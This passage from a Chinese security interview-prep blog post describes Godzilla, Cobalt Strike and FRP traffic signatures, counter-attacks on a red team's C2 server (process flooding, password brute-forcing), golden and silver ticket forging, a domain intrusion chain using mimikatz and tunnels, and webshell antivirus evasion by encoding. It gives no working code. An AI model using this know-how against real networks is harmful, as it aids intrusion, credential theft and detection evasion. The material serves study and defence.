 响应数据中,哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的数据的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

CS的流量特征:

心跳包60s,默认端口50050,0.0.0.0是Cobalt Strike DNS Beacon特 HTTP: 基础特征:心跳包(60s) 源码特征:checksum8 (92L、93L)

可以用Wireshark抓取他的HTTP请求包,然后提取他的请求url路径通过checksum8解密算法,如果得到的结果为92或93,则可以判断他的cs是没有进行魔改的

请求特征:下发的指令、url路径、老版本固定的ua头

HTTPS: 源码特征(ja3 ja3s)

同—系统下的cs得到它的ja3 ja3s值是—致的

反制: 批量上线钓鱼马

启几百个进程 ddos 红方的 cs 端。假如我们获取到了红方的 cs 样本,那么第一种方法可以批量启几百个进程运行该样本 (注意隔离环境), 然后红方的 cs 端几乎瘫痪,无法使用

爆破 cs 密码

一般而言,红队的 cs 设施为了多人运动,密码通常不会太复杂,很大机会是弱口令为主,甚至 teamserver 端口 50050, 那么针对 cs 端控制端,可以直接进行密码爆破

FRP流量特征:

Frp客户端首先对服务端监听端口发起连接,将自己的版本号、操作系统类型、平台架构、加密后的token信息等发送给frp服务端。 Frp服务端在接收客户端请求后,返回自身的版本信息,并向frp客户端分配一个run_id。之后双方开始加密传输数据

内网渗透篇:

如何判断一个靶机有没有域控

1、net time /domain 找不到域WorkGroup的域控制器 加入了域,且当前用户域用户,则显示域控的时间

2、ipconfig /all 主DNS后缀为空 只要加入域,不管当前用户为域用户本还是本地用户,主DNS后缀,都为域名

3、systeminfo 工作组环境systeminfo查询的显示为WORKGROUP,域环境查询的域是域名

后渗透了解吗

渗透的几种流程:

1、后台权限

2、shell权限

3、服务器权限

4、域控权限

1、2属于前端渗透

2、4属于内网渗透

2、3、4属于后渗透

票据区别

区别:

白银票据通常用于攻击域控,黄金票据则用于拿下域控后权限维持,且黄金票据是伪造发票人,而白银票据则是伪造门票

黄金票据:

黄金票据就是我们在拿到这个域控之后,获取了这个KDC用户的hash值之后,然后就可以伪造任意用户的TGT票据,从而实现对域内任意机器的访问,可以用于权限维持也可用于横向移动。

白银票据:

白银票据就是我们在拿到这个域控之后,获取到域内机器用户的hash值,这个时候我们就可以伪造一个真正的ST票据,实现对某个机器特定服务的访问。

制作黄金票据的前提条件:

域名称、域的 SID 、域的 KRBTGT 账户的密码 hash 值、伪造的用户名,可以是任意用户甚至是不存在的用户

黄金票据攻击,其实是一种后门的形式,属于第二次进行攻击的方法,第一次拿到域管权限之后,需要将krbtgt hash进行保存,当第二次再来进行渗透攻击时,我们就可以使用krbtgt hash制作黄金票据,从而获得管理员权限。

伪造白银票据的前提条件:

域名称、域的 SID 、域的服务账号的密码 hash 、伪造的用户名(可以是任意的

票据伪造原理

内网渗透了解吗

通过扫描资产查看是否有web应用,对web应用进行一个渗透,拿到shell之后msf传马建立反向连接,cs&msf联动,收集信息提升权限,上传cs木马,查看当前用户以及域信息,扫描内网主机ip以及开放端口,使用cs进行mimikatz目标机用户密码,设法从域成员主机内存中dump出域管理员密码,通过elevate进行账户提权拿下域控,如果目标主机路由不出网的话,可以搭建socket代理,把流量代理出来,如果是tcp协议禁出网的话,可以搭建dns隧道,内网主机只出网DNS协议数据,解决通讯,如果本机没有公网无法上线的话,可以通过使用一台有公网的服务器来作为跳板机,进行内网穿透,frp、Ngrok、nps。

webshell不出网搭建隧道

webshell不出网使用正向代理,搭建HTTP隧道攻击内网

FrpNpsNgrok等一些工具,隧道有很多ssh隧道、UDP隧道、TCP隧道、SOCKS隧道、DNS隧道

Webshell免杀相关,通用的绕过思路

替换关键函数,拆分关键函数再拼接执行,使用编码绕过,Base64,XOR

 

 

  • 7
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值